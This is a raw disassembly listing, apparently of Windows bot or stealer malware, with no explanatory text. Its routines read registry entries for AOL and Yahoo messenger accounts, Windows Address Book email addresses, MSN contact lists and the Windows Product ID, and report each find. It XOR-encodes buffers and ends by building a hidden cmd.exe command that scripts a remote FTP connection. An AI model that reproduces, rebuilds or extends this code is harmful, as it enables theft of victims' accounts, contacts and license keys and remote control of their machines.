dd 6A525100h, 68006A00h, 448A1Ch, 85D3FF50h, 0BE850FC0h
dd 68000000h, 104h, 649DE890h, 8C8D777Fh, 2E824h, 7B546800h
dd 0F08B0044h, 8A0C6851h, 90560044h, 1C1772E8h, 4E5C6800h
dd 0E8560044h, 77809080h, 83F88B90h, 0FF851CC4h, 8D577574h
dd 802494h, 646A0000h, 6E89052h, 837780ACh, 0C0850CC4h
dd 448D5374h, 0F4687C24h, 50004489h, 1C9EE890h, 0C4837781h
dd 75C08508h, 24948B3Ch, 16F4h, 7C244C8Dh, 89D86851h, 4A8D0044h
dd 0B4FBE869h, 8B50FFFCh, 17002484h, 888A0000h, 94h, 93908Ah
dd 52510000h, 4D807568h, 0B855E800h, 0C483FFFCh, 0A6E85718h
dd 907780AAh, 8504C483h, 560A74F6h, 7F6202E8h, 0C4839077h
dd 24448B04h, 0E890501Ch, 24F9FD8h, 1C244C8Dh, 182444C7h
dd 80h, 196851h, 6A0002h, 4489B068h, 26800h, 0D5FF8000h
dd 1C244C8Bh, 1824548Dh, 0E424848Dh, 52000002h, 6A006A50h
dd 8A1C6800h, 0FF510044h, 0FC085D3h, 0B785h, 1046800h
dd 90E80000h, 90777F63h, 0E824948Dh, 68000002h, 4489A8h
dd 6852F08Bh, 448998h, 64E89056h, 68001C16h, 444E5Ch, 8F72E856h
dd 8B907780h, 1CC483F8h, 6E74FF85h, 24848D57h, 80h, 9050646Ah
dd 80AAF8E8h, 0CC48377h, 4C74C085h, 7C244C8Dh, 44897C68h
dd 0E8905100h, 77811B90h, 8508C483h, 8B3575C0h, 16F4249Ch
dd 548D0000h, 68527C24h, 448960h, 0E8694B8Dh, 0FFFCB3EDh
dd 938B8Ah, 8A500000h, 9483h, 68515000h, 4D8075h, 0FCB74EE8h
dd 18C483FFh, 0A99FE857h, 83907780h, 0F68504C4h, 90560A74h
dd 7F60FAE8h, 4C48377h, 1C24548Bh, 0D1E89052h, 8D024F9Eh
dd 0C764244Ch, 16EC2484h, 0FFFF0000h, 0E3E8FFFFh, 0E9FFFCB0h
dd 184h
; ---------------------------------------------------------------------------
loc_436148: ; CODE XREF: ___:00435BD1j
lea ecx, [edi+32h]
call sub_4017EE
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz loc_4362CC
lea eax, [esp+10h]
push eax
push 0F003Fh
push 0
push offset aSoftwareAmeric ; "Software\\America Online\\AOL Instant Mes"...
push 80000001h
nop
call near ptr 296029Eh
test eax, eax
jnz loc_4362CC
mov ecx, 40h
lea edi, [esp+1E4h]
rep stosd
lea ecx, [esp+14h]
lea edx, [esp+1E4h]
push ecx
mov ecx, [esp+14h]
lea eax, [esp+24h]
push edx
push eax
push 0
push offset dword_4488F8
push ecx
mov dword ptr [esp+2Ch], 100h
nop
call near ptr 2910000h
test eax, eax
jz short loc_4361D2
mov edx, [esp+10h]
push edx
nop
call near ptr 2930000h
jmp loc_4362CC
; ---------------------------------------------------------------------------
loc_4361D2: ; CODE XREF: ___:004361C0j
mov eax, [esp+14h]
mov ecx, [esp+10h]
mov ebp, dword_511740
push ecx
mov byte ptr [esp+eax+1E8h], 0
call ebp
lea edx, [esp+1E4h]
lea ebx, [esi+69h]
push edx
push offset dword_4488EC
mov ecx, ebx
call sub_4014DD
mov cl, [esi+93h]
push eax
mov al, [esi+94h]
push eax
push ecx
push offset byte_4D8075
call sub_401857
add esp, 18h
lea edx, [esp+10h]
push edx
push 0F003Fh
push 0
push offset aSoftwareYahooP ; "Software\\Yahoo\\Pager"
push 80000001h
nop
call near ptr 296029Eh
test eax, eax
jnz loc_4362CC
mov ecx, 40h
lea edi, [esp+0E0h]
rep stosd
lea eax, [esp+14h]
lea ecx, [esp+0E0h]
push eax
mov eax, [esp+14h]
lea edx, [esp+24h]
push ecx
push edx
push 0
push offset aYahooUserId ; "Yahoo! User ID"
push eax
mov dword ptr [esp+2Ch], 100h
nop
call near ptr 2910000h
test eax, eax
jz short loc_436289
mov ecx, [esp+10h]
push ecx
call ebp
jmp short loc_4362CC
; ---------------------------------------------------------------------------
loc_436289: ; CODE XREF: ___:0043627Ej
mov edx, [esp+14h]
mov eax, [esp+10h]
push eax
mov byte ptr [esp+edx+1E8h], 0
call ebp
lea ecx, [esp+0E0h]
push ecx
push offset aYahooS ; "yahoo: %s"
mov ecx, ebx
call sub_4014DD
mov dl, [esi+94h]
push eax
mov al, [esi+93h]
push edx
push eax
push offset byte_4D8075
call sub_401857
add esp, 18h
loc_4362CC: ; CODE XREF: ___:0043615Aj
; ___:0043617Ej ...
mov ecx, [esp+16E4h]
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
mov large fs:0, ecx
add esp, 16E0h
retn 4
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 1E0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4364D0 proc near ; CODE XREF: sub_4016FEj
var_24 = byte ptr -24h
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_4364D0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 18h
push esi
push 0
push 5
push 4Fh
push 14h
push 5
lea eax, [esp+3Ch+var_24]
push 7
mov esi, ecx
push eax
call sub_4019C4
add esp, 1Ch
push esi
mov ecx, eax
mov [esp+2Ch+var_4], 0
call sub_4017EE
add esi, 4
push eax
push esi
mov ecx, offset dword_449118
call sub_40159B
sub_4364D0 endp
; ---------------------------------------------------------------------------
lea ecx, [esp+4]
mov dword ptr [esp+24h], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+1Ch]
pop esi
mov large fs:0, ecx
add esp, 24h
retn
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_436570: ; CODE XREF: ___:loc_401FF5j
sub esp, 6CCh
add ecx, 4
push ebx
push ebp
push esi
push edi
call sub_4017EE
mov ebp, [esp+6E0h]
push eax
lea ecx, [ebp+7Eh]
call sub_4012EE
test eax, eax
jnz loc_43680E
lea eax, [esp+14h]
mov dword ptr [esp+20h], 320h
push eax
push 0F003Fh
push 0
push offset aSoftwareMicr_1 ; "Software\\Microsoft\\WAB\\WAB4\\Wab File Na"...
push 80000001h
call near ptr 296029Eh
nop
mov eax, [esp+14h]
test eax, eax
jz loc_43680E
lea ecx, [esp+20h]
lea edx, [esp+1D8h]
push ecx
push edx
push 0
push 0
push offset byte_448F30
push eax
nop
call near ptr 2910000h
mov eax, [esp+14h]
push eax
nop
call near ptr 2930000h
push 0
push 80h
push 4
push 0
push 1
lea ecx, [esp+1ECh]
push 80000000h
push ecx
call near ptr 2880000h
nop
push 0
push 0
push 0
mov edi, eax
push 2
push 0
push edi
mov [esp+34h], edi
nop
call near ptr 2730000h
mov ebx, eax
test ebx, ebx
mov [esp+24h], ebx
jnz short loc_436649
push edi
nop
call near ptr 2850BF4h
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
add esp, 6CCh
retn 4
; ---------------------------------------------------------------------------
loc_436649: ; CODE XREF: ___:00436631j
push 0
push 0
push 0
push 4
push ebx
nop
call near ptr 2730720h
mov esi, eax
test esi, esi
jnz short loc_436679
mov esi, dword_5118E0
push ebx
call esi
push edi
call esi
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
add esp, 6CCh
retn 4
; ---------------------------------------------------------------------------
loc_436679: ; CODE XREF: ___:0043665Cj
xor edx, edx
xor eax, eax
mov dh, [esi+63h]
mov ah, [esi+61h]
mov dl, [esi+62h]
and eax, 0FFFFh
movsx ecx, byte ptr [esi+64h]
shl edx, 10h
or edx, eax
xor eax, eax
mov al, [esi+60h]
or edx, eax
mov eax, ecx
shl eax, 4
add eax, ecx
shl eax, 2
test eax, eax
jle short loc_436718
lea ecx, [eax+43h]
mov eax, 0F0F0F0F1h
lea edi, [edx+esi]
mul ecx
mov ebx, edx
shr ebx, 6
loc_4366BB: ; CODE XREF: ___:0043670Ej
xor eax, eax
mov ecx, edi
loc_4366BF: ; CODE XREF: ___:004366CFj
mov dl, [ecx]
add ecx, 2
mov [esp+eax+0ACh], dl
inc eax
cmp eax, 44h
jle short loc_4366BF
lea eax, [esp+0ACh]
lea ecx, [ebp+69h]
push eax
push offset aFoundEmailS_ ; "Found EMail (%s)."
mov byte ptr [esp+0F8h], 0
call sub_4014DD
mov cl, [ebp+94h]
mov dl, [ebp+93h]
push eax
push ecx
push edx
push offset byte_4D8075
call sub_401857
add esp, 18h
add edi, 44h
dec ebx
jnz short loc_4366BB
mov ebx, [esp+24h]
mov edi, [esp+1Ch]
loc_436718: ; CODE XREF: ___:004366A7j
push edi
mov edi, dword_5118E0
call edi
push esi
nop
call near ptr 2730994h
push ebx
call edi
lea eax, [esp+18h]
push eax
push 0F003Fh
push 0
push offset aSoftwareMicr_2 ; "Software\\Microsoft\\MessengerService\\Lis"...
push 80000001h
nop
call near ptr 296029Eh
test eax, eax
jnz loc_43680E
mov ebx, off_511C00
mov dword ptr [esp+10h], 400h
mov dword ptr [esp+28h], 3
xor esi, esi
loc_436767: ; CODE XREF: ___:004367FEj
mov ecx, 20h
xor eax, eax
lea edi, [esp+2Ch]
push esi
rep stosd
lea ecx, [esp+30h]
push offset dword_448A38
push ecx
call ebx ; sub_5F76F7
mov ecx, 100h
xor eax, eax
lea edi, [esp+2E8h]
add esp, 0Ch
rep stosd
lea edx, [esp+10h]
lea eax, [esp+2DCh]
push edx
lea ecx, [esp+2Ch]
push eax
mov eax, [esp+20h]
push ecx
lea edx, [esp+38h]
push 0
push edx
push eax
inc esi
mov dword ptr [esp+28h], 400h
nop
call near ptr 2910000h
test eax, eax
jnz short loc_436803
lea ecx, [esp+2DCh]
push ecx
push offset dword_448A2C
lea ecx, [ebp+69h]
call sub_4014DD
mov dl, [ebp+94h]
push eax
mov al, [ebp+93h]
push edx
push eax
push offset byte_4D8075
call sub_401857
add esp, 18h
push 64h
nop
call near ptr 2850369h
jmp loc_436767
; ---------------------------------------------------------------------------
loc_436803: ; CODE XREF: ___:004367C3j
mov ecx, [esp+18h]
push ecx
nop
call near ptr 2930000h
loc_43680E: ; CODE XREF: ___:00436594j
; ___:004365C4j ...
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
add esp, 6CCh
retn 4
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 0B0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4368D0 proc near ; CODE XREF: sub_401E65j
var_3C = byte ptr -3Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_4368D0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 30h
push esi
push 0
push 7
push 5
push 12h
push 4Fh
push 14h
push 5
lea eax, [esp+5Ch+var_3C]
push 7
mov esi, ecx
push eax
call sub_4019C4
add esp, 24h
push esi
mov ecx, eax
mov [esp+44h+var_4], 0
call sub_40168B
lea ecx, [esi+4]
push eax
push ecx
mov ecx, offset dword_449118
call sub_40159B
sub_4368D0 endp
; ---------------------------------------------------------------------------
lea ecx, [esp+4]
mov dword ptr [esp+3Ch], 0FFFFFFFFh
call sub_401226
push 0
push 0Bh
push 17h
push 4Fh
push 14h
push 5
lea edx, [esp+34h]
push 7
push edx
call sub_4019C4
add esp, 20h
push esi
mov ecx, eax
mov dword ptr [esp+40h], 1
call sub_40168B
add esi, 32h
push eax
push esi
mov ecx, offset dword_449118
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+1Ch]
mov dword ptr [esp+3Ch], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+34h]
pop esi
mov large fs:0, ecx
add esp, 3Ch
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4369E0 proc near ; CODE XREF: sub_401E6Aj
var_135 = byte ptr -135h
var_134 = dword ptr -134h
var_130 = dword ptr -130h
var_12C = dword ptr -12Ch
var_128 = byte ptr -128h
var_124 = byte ptr -124h
var_110 = dword ptr -110h
var_10C = byte ptr -10Ch
var_108 = byte ptr -108h
var_8C = byte ptr -8Ch
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
mov eax, large fs:0
push 0FFFFFFFFh
push offset SEH_4369E0
push eax
mov large fs:0, esp
sub esp, 12Ch
push ebx
push esi
mov esi, [esp+140h+arg_0]
push edi
mov edi, ecx
lea ebx, [esi+7Eh]
lea ecx, [edi+4]
call sub_4017EE
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz loc_436EB7
push ebp
xor ebp, ebp
push ebp
push offset asc_444600 ; " "
lea eax, [esp+150h+var_128]
push 1
push eax
mov ecx, esi
mov [esp+158h+var_134], ebp
mov [esp+158h+var_130], 80h
call sub_4011EA
lea ecx, [esp+148h+var_134]
mov [esp+148h+var_4], ebp
push ecx
push 20019h
push ebp
mov ecx, eax
call sub_4017EE
mov edi, dword_511764
push eax
push 80000001h
call edi
or ebx, 0FFFFFFFFh
lea ecx, [esp+144h+var_124]
mov [esp+144h], ebx
call sub_401226
push ebp
push offset asc_444600 ; " "
lea edx, [esp+14Ch+var_124]
push 2
push edx
mov ecx, esi
call sub_4011EA
lea ecx, [esp+144h+var_12C]
lea edx, [esp+144h+var_108]
push ecx
push edx
push ebp
push ebp
mov ecx, eax
mov dword ptr [esp+154h], 1
call sub_4017EE
mov ebp, dword_51172C
push eax
mov eax, [esp+158h+var_130]
push eax
call ebp
test eax, eax
lea ecx, [esp+144h+var_124]
mov [esp+144h], ebx
setz byte ptr [esp+144h+var_134+3]
call sub_401226
mov al, byte ptr [esp+144h+var_134+3]
test al, al
jz short loc_436B0C
lea ecx, [esp+144h+var_108]
push ecx
push (offset loc_448B7B+1)
lea ecx, [esi+69h]
call sub_4014DD
mov dl, [esi+94h]
push eax
mov al, [esi+93h]
push edx
push eax
push offset byte_4D8075
call sub_401857
add esp, 18h
loc_436B0C: ; CODE XREF: sub_4369E0+FCj
mov ecx, [esp+144h+var_130]
push ecx
nop
call near ptr 2930000h
push 0
push offset asc_444600 ; " "
lea edx, [esp+14Ch+var_124]
push 1
push edx
mov ecx, esi
mov [esp+154h+var_12C], 80h
call sub_4011EA
lea ecx, [esp+144h+var_130]
mov dword ptr [esp+144h], 2
push ecx
push 20019h
push 0
mov ecx, eax
call sub_4017EE
push eax
push 80000002h
call edi
lea ecx, [esp+144h+var_124]
mov [esp+144h], ebx
call sub_401226
push 0
push offset asc_444600 ; " "
lea edx, [esp+14Ch+var_124]
push 2
push edx
mov ecx, esi
call sub_4011EA
lea ecx, [esp+144h+var_12C]
lea edx, [esp+144h+var_108]
push ecx
push edx
push 0
push 0
mov ecx, eax
mov dword ptr [esp+154h], 3
call sub_4017EE
push eax
mov eax, [esp+158h+var_130]
push eax
call ebp
test eax, eax
lea ecx, [esp+144h+var_124]
mov [esp+144h], ebx
setz byte ptr [esp+144h+var_134+3]
call sub_401226
mov al, byte ptr [esp+144h+var_134+3]
test al, al
jz short loc_436BF4
lea ecx, [esp+144h+var_108]
push ecx
push (offset loc_448B6F+1)
lea ecx, [esi+69h]
call sub_4014DD
mov dl, [esi+94h]
push eax
mov al, [esi+93h]
push edx
push eax
push offset byte_4D8075
call sub_401857
add esp, 18h
loc_436BF4: ; CODE XREF: sub_4369E0+1E4j
mov ecx, [esp+144h+var_130]
push ecx
nop
call near ptr 2930000h
push 0
push offset asc_444600 ; " "
lea edx, [esp+14Ch+var_124]
push 1
push edx
mov ecx, esi
mov [esp+154h+var_12C], 80h
call sub_4011EA
lea ecx, [esp+144h+var_130]
mov dword ptr [esp+144h], 4
push ecx
push 20019h
push 0
mov ecx, eax
call sub_4017EE
push eax
push 80000005h
call edi
lea ecx, [esp+144h+var_124]
mov [esp+144h], ebx
call sub_401226
push 0
push offset asc_444600 ; " "
lea edx, [esp+14Ch+var_124]
push 2
push edx
mov ecx, esi
call sub_4011EA
lea ecx, [esp+144h+var_12C]
lea edx, [esp+144h+var_108]
push ecx
push edx
push 0
push 0
mov ecx, eax
mov dword ptr [esp+154h], 5
call sub_4017EE
push eax
mov eax, [esp+158h+var_130]
push eax
call ebp
test eax, eax
lea ecx, [esp+144h+var_124]
mov [esp+144h], ebx
setz byte ptr [esp+144h+var_134+3]
call sub_401226
mov al, byte ptr [esp+144h+var_134+3]
test al, al
jz short loc_436CDC
lea ecx, [esp+144h+var_108]
push ecx
push offset loc_448B64
lea ecx, [esi+69h]
call sub_4014DD
mov dl, [esi+94h]
push eax
mov al, [esi+93h]
push edx
push eax
push offset byte_4D8075
call sub_401857
add esp, 18h
loc_436CDC: ; CODE XREF: sub_4369E0+2CCj
mov ecx, [esp+144h+var_130]
push ecx
nop
call near ptr 2930000h
push 0
push offset asc_444600 ; " "
lea edx, [esp+14Ch+var_124]
push 1
push edx
mov ecx, esi
mov [esp+154h+var_12C], 80h
call sub_4011EA
lea ecx, [esp+144h+var_130]
mov dword ptr [esp+144h], 6
push ecx
push 20019h
push 0
mov ecx, eax
call sub_4017EE
push eax
push 80000000h
call edi
lea ecx, [esp+144h+var_124]
mov [esp+144h], ebx
call sub_401226
push 0
push offset asc_444600 ; " "
lea edx, [esp+14Ch+var_124]
push 2
push edx
mov ecx, esi
call sub_4011EA
lea ecx, [esp+144h+var_12C]
lea edx, [esp+144h+var_108]
push ecx
push edx
push 0
push 0
mov ecx, eax
mov dword ptr [esp+154h], 7
call sub_4017EE
push eax
mov eax, [esp+158h+var_130]
push eax
call ebp
test eax, eax
lea ecx, [esp+144h+var_124]
mov [esp+144h], ebx
setz byte ptr [esp+144h+var_134+3]
call sub_401226
mov al, byte ptr [esp+144h+var_134+3]
test al, al
jz short loc_436DC4
lea ecx, [esp+144h+var_108]
push ecx
push offset aHkcrS ; "HKCR: %s"
lea ecx, [esi+69h]
call sub_4014DD
mov dl, [esi+94h]
push eax
mov al, [esi+93h]
push edx
push eax
push offset byte_4D8075
call sub_401857
add esp, 18h
loc_436DC4: ; CODE XREF: sub_4369E0+3B4j
mov ecx, [esp+144h+var_130]
push ecx
call near ptr 2930000h
nop
push 0
push offset asc_444600 ; " "
lea edx, [esp+150h+var_128]
push 1
push edx
mov ecx, esi
mov [esp+158h+var_130], 80h
call sub_4011EA
lea ecx, [esp+148h+var_134]
mov [esp+148h+var_4], 8
push ecx
push 20019h
push 0
mov ecx, eax
call sub_4017EE
push eax
push 80000003h
call edi
lea ecx, [esp+148h+var_128]
mov [esp+148h+var_4], ebx
call sub_401226
push 0
push offset asc_444600 ; " "
lea edx, [esp+150h+var_128]
push 2
push edx
mov ecx, esi
call sub_4011EA
lea ecx, [esp+148h+var_130]
lea edx, [esp+148h+var_10C]
push ecx
push edx
push 0
push 0
mov ecx, eax
mov [esp+158h+var_4], 9
call sub_4017EE
push eax
mov eax, [esp+15Ch+var_134]
push eax
call ebp
test eax, eax
lea ecx, [esp+148h+var_128]
mov [esp+148h+var_4], ebx
setz [esp+148h+var_135]
call sub_401226
mov al, [esp+148h+var_135]
pop ebp
test al, al
jz short loc_436EAD
lea ecx, [esp+144h+var_10C]
push ecx
push offset aHkuS ; "HKU: %s"
lea ecx, [esi+69h]
call sub_4014DD
mov dl, [esi+94h]
push eax
mov al, [esi+93h]
push edx
push eax
push offset byte_4D8075
call sub_401857
add esp, 18h
loc_436EAD: ; CODE XREF: sub_4369E0+49Dj
mov ecx, [esp+144h+var_134]
push ecx
jmp loc_436F51
; ---------------------------------------------------------------------------
loc_436EB7: ; CODE XREF: sub_4369E0+3Cj
lea ecx, [edi+32h]
call sub_4017EE
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz loc_436F57
lea edx, [esp+144h+var_12C]
mov [esp+144h+var_12C], eax
push edx
push 20019h
push eax
push offset aSoftwareMicr_0 ; "Software\\Microsoft\\Windows\\CurrentVersi"...
push 80000002h
mov [esp+158h+var_110], 80h
nop
call near ptr 296029Eh
mov edx, [esp+144h+var_12C]
lea eax, [esp+144h+var_110]
lea ecx, [esp+144h+var_8C]
push eax
push ecx
push 0
push 0
push offset aProductid ; "ProductId"
push edx
nop
call near ptr 2910000h
test eax, eax
jnz short loc_436F4C
lea eax, [esp+144h+var_8C]
lea ecx, [esi+69h]
push eax
push offset aFoundWindowsPr ; "Found Windows Product ID (%s)."
call sub_4014DD
mov cl, [esi+94h]
mov dl, [esi+93h]
push eax
push ecx
push edx
push offset byte_4D8075
call sub_401857
add esp, 18h
loc_436F4C: ; CODE XREF: sub_4369E0+539j
mov eax, [esp+144h+var_12C]
push eax
loc_436F51: ; CODE XREF: sub_4369E0+4D2j
nop
call near ptr 2930000h
loc_436F57: ; CODE XREF: sub_4369E0+4E9j
mov ecx, [esp+144h+var_C]
pop edi
pop esi
mov al, 1
pop ebx
mov large fs:0, ecx
add esp, 138h
retn 4
sub_4369E0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 170h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4370F0 proc near ; CODE XREF: sub_401334j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = byte ptr 0Ch
push esi
mov esi, [esp+4+arg_4]
xor eax, eax
test esi, esi
jle short loc_43710D
mov cl, [esp+4+arg_8]
mov edx, [esp+4+arg_0]
loc_437103: ; CODE XREF: sub_4370F0+1Bj
cmp [eax+edx], cl
jz short loc_437111
inc eax
cmp eax, esi
jl short loc_437103
loc_43710D: ; CODE XREF: sub_4370F0+9j
pop esi
xor al, al
retn
; ---------------------------------------------------------------------------
loc_437111: ; CODE XREF: sub_4370F0+16j
pop esi
mov al, 1
retn
sub_4370F0 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_437130: ; CODE XREF: ___:00401433j
push ecx
mov eax, [esp+18h]
push ebx
push ebp
push esi
push edi
push eax
mov dword ptr [esp+14h], 98h
nop
call near ptr 71AB2B66h
mov ebx, [esp+1Ch]
and eax, 0FFFFh
push ebx
mov [esp+2Ch], eax
nop
call near ptr 77C2C407h
mov ecx, ebx
mov ebp, eax
mov edx, ecx
xor eax, eax
mov edi, ebp
mov esi, [esp+1Ch]
shr ecx, 2
rep stosd
mov ecx, edx
push 18h
and ecx, 3
rep stosb
mov ecx, ebx
mov edi, ebp
mov eax, ecx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
nop
call near ptr 77C2C407h
mov edx, eax
mov ecx, 6
xor eax, eax
mov edi, edx
rep stosd
mov eax, [esp+38h]
mov ecx, 6
mov esi, (offset loc_448B87+1)
mov edi, edx
rep movsd
mov ecx, [esp+30h]
add esp, 8
mov [eax+ebp], cl
mov [eax+ebp+1], ch
mov eax, [esp+34h]
mov ecx, [esp+2Ch]
mov [esp+1Ch], edx
mov [eax+ebp], cl
mov [eax+ebp+1], ch
mov cx, [esp+2Eh]
mov [eax+ebp+2], cl
mov [eax+ebp+3], ch
mov eax, [esp+38h]
test eax, eax
jz short loc_4371EC
push ebx
push ebp
call eax
add esp, 8
loc_4371EC: ; CODE XREF: ___:004371E3j
push ebx
nop
call near ptr 77C2C407h
mov ecx, ebx
mov edx, eax
mov esi, ecx
xor eax, eax
mov edi, edx
mov [esp+2Ch], edx
shr ecx, 2
rep stosd
mov ecx, esi
mov esi, ebp
and ecx, 3
add esp, 4
rep stosb
mov ecx, ebx
mov edi, edx
mov edx, ecx
mov eax, [esp+1Ch]
shr ecx, 2
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
mov [eax+0Eh], bl
mov [eax+0Fh], bh
loc_43722E: ; CODE XREF: ___:004372A7j
push 5Ch
push ebx
push ebp
call sub_401334
add esp, 0Ch
test al, al
jnz short loc_43726E
push 0
push ebx
push ebp
call sub_401334
add esp, 0Ch
test al, al
jnz short loc_43726E
push 0Ah
push ebx
push ebp
call sub_401334
add esp, 0Ch
test al, al
jnz short loc_43726E
push 0Dh
push ebx
push ebp
call sub_401334
add esp, 0Ch
test al, al
jz short loc_4372A9
loc_43726E: ; CODE XREF: ___:0043723Cj
; ___:0043724Cj ...
mov esi, [esp+28h]
mov ecx, ebx
mov eax, ecx
mov edi, ebp
shr ecx, 2
rep movsd
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb
mov ecx, [esp+10h]
inc ecx
test ebx, ebx
mov [esp+10h], ecx
jle short loc_4372A0
loc_437293: ; CODE XREF: ___:0043729Ej
mov dl, [eax+ebp]
xor dl, cl
mov [eax+ebp], dl
inc eax
cmp eax, ebx
jl short loc_437293
loc_4372A0: ; CODE XREF: ___:00437291j
mov edx, [esp+1Ch]
mov [edx+13h], cl
jmp short loc_43722E
; ---------------------------------------------------------------------------
loc_4372A9: ; CODE XREF: ___:0043726Cj
mov eax, [esp+28h]
push eax
nop
call near ptr 77C2C21Bh
mov ecx, [esp+28h]
mov edx, [esp+24h]
mov esi, ecx
xor eax, eax
mov edi, edx
shr ecx, 2
rep stosd
mov ecx, esi
mov esi, [esp+20h]
and ecx, 3
rep stosb
mov ecx, 6
mov edi, edx
rep movsd
mov ecx, ebx
lea edi, [edx+17h]
mov edx, ecx
mov esi, ebp
shr ecx, 2
rep movsd
mov eax, [esp+20h]
mov ecx, edx
and ecx, 3
push eax
rep movsb
mov esi, dword_511AD0
call esi ; free
push ebp
call esi ; free
add esp, 0Ch
lea eax, [ebx+18h]
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 80h dup(0CCh)
; ---------------------------------------------------------------------------
loc_437390: ; CODE XREF: ___:00401D75j
push ecx
push ebx
push ebp
push esi
push edi
mov edi, [esp+28h]
or ecx, 0FFFFFFFFh
xor eax, eax
mov dword ptr [esp+10h], 98h
repne scasb
mov eax, [esp+1Ch]
not ecx
dec ecx
lea ebx, [ecx+eax+1]
push ebx
call near ptr 77C2C407h
nop
mov ecx, ebx
mov ebp, eax
mov edx, ecx
xor eax, eax
mov edi, ebp
mov esi, [esp+1Ch]
shr ecx, 2
rep stosd
mov ecx, edx
push 18h
and ecx, 3
rep stosb
mov ecx, ebx
mov edi, ebp
mov eax, ecx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
call near ptr 77C2C407h
nop
mov edx, eax
mov ecx, 6
xor eax, eax
mov edi, edx
rep stosd
mov ecx, 6
mov esi, (offset loc_448B87+1)
mov edi, edx
add esp, 8
rep movsd
mov esi, [esp+28h]
or ecx, 0FFFFFFFFh
mov edi, esi
mov [esp+18h], edx
repne scasb
mov edx, [esp+1Ch]
not ecx
mov eax, ecx
lea edi, [edx+ebp-2]
shr ecx, 2
rep movsd
mov ecx, eax
mov eax, [esp+2Ch]
and ecx, 3
test eax, eax
rep movsb
jz short loc_437442
push ebx
push ebp
call eax
add esp, 8
loc_437442: ; CODE XREF: ___:00437439j
push ebx
nop
call near ptr 77C2C407h
mov ecx, ebx
mov edx, eax
mov esi, ecx
xor eax, eax
mov edi, edx
mov [esp+2Ch], edx
shr ecx, 2
rep stosd
mov ecx, esi
mov esi, ebp
and ecx, 3
add esp, 4
rep stosb
mov ecx, ebx
mov edi, edx
mov edx, ecx
mov eax, [esp+18h]
shr ecx, 2
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
mov [eax+0Eh], bl
mov [eax+0Fh], bh
loc_437484: ; CODE XREF: ___:004374FDj
push 5Ch
push ebx
push ebp
call sub_401334
add esp, 0Ch
test al, al
jnz short loc_4374C4
push 0
push ebx
push ebp
call sub_401334
add esp, 0Ch
test al, al
jnz short loc_4374C4
push 0Ah
push ebx
push ebp
call sub_401334
add esp, 0Ch
test al, al
jnz short loc_4374C4
push 0Dh
push ebx
push ebp
call sub_401334
add esp, 0Ch
test al, al
jz short loc_4374FF
loc_4374C4: ; CODE XREF: ___:00437492j
; ___:004374A2j ...
mov esi, [esp+28h]
mov ecx, ebx
mov eax, ecx
mov edi, ebp
shr ecx, 2
rep movsd
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb
mov ecx, [esp+10h]
inc ecx
test ebx, ebx
mov [esp+10h], ecx
jle short loc_4374F6
loc_4374E9: ; CODE XREF: ___:004374F4j
mov dl, [eax+ebp]
xor dl, cl
mov [eax+ebp], dl
inc eax
cmp eax, ebx
jl short loc_4374E9
loc_4374F6: ; CODE XREF: ___:004374E7j
mov edx, [esp+18h]
mov [edx+13h], cl
jmp short loc_437484
; ---------------------------------------------------------------------------
loc_4374FF: ; CODE XREF: ___:004374C2j
mov eax, [esp+28h]
push eax
call near ptr 77C2C21Bh
nop
mov ecx, [esp+28h]
mov edx, [esp+24h]
mov esi, ecx
xor eax, eax
mov edi, edx
shr ecx, 2
rep stosd
mov ecx, esi
mov esi, [esp+1Ch]
and ecx, 3
rep stosb
mov ecx, 6
mov edi, edx
rep movsd
mov ecx, ebx
lea edi, [edx+17h]
mov edx, ecx
mov esi, ebp
shr ecx, 2
rep movsd
mov eax, [esp+1Ch]
mov ecx, edx
and ecx, 3
push eax
rep movsb
mov esi, dword_511AD0
call esi ; free
push ebp
call esi ; free
add esp, 0Ch
lea eax, [ebx+18h]
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 80h dup(0CCh)
; ---------------------------------------------------------------------------
loc_4375F0: ; CODE XREF: ___:00401FFFj
mov eax, 200Ch
call sub_437B30
mov eax, [esp+2028h]
mov ecx, [esp+202Ch]
push ebx
mov edx, [esp+2028h]
push ebp
push esi
push edi
push eax
push eax
mov eax, [esp+2048h]
push eax
mov eax, [esp+203Ch]
push ecx
push edx
push eax
lea ecx, [esp+34h]
push offset aStartMinCmd_ex ; "start /min cmd.exe /c \"echo open %s %d "...
push ecx
mov dword ptr [esp+34h], 98h
nop
call sub_5F76F7
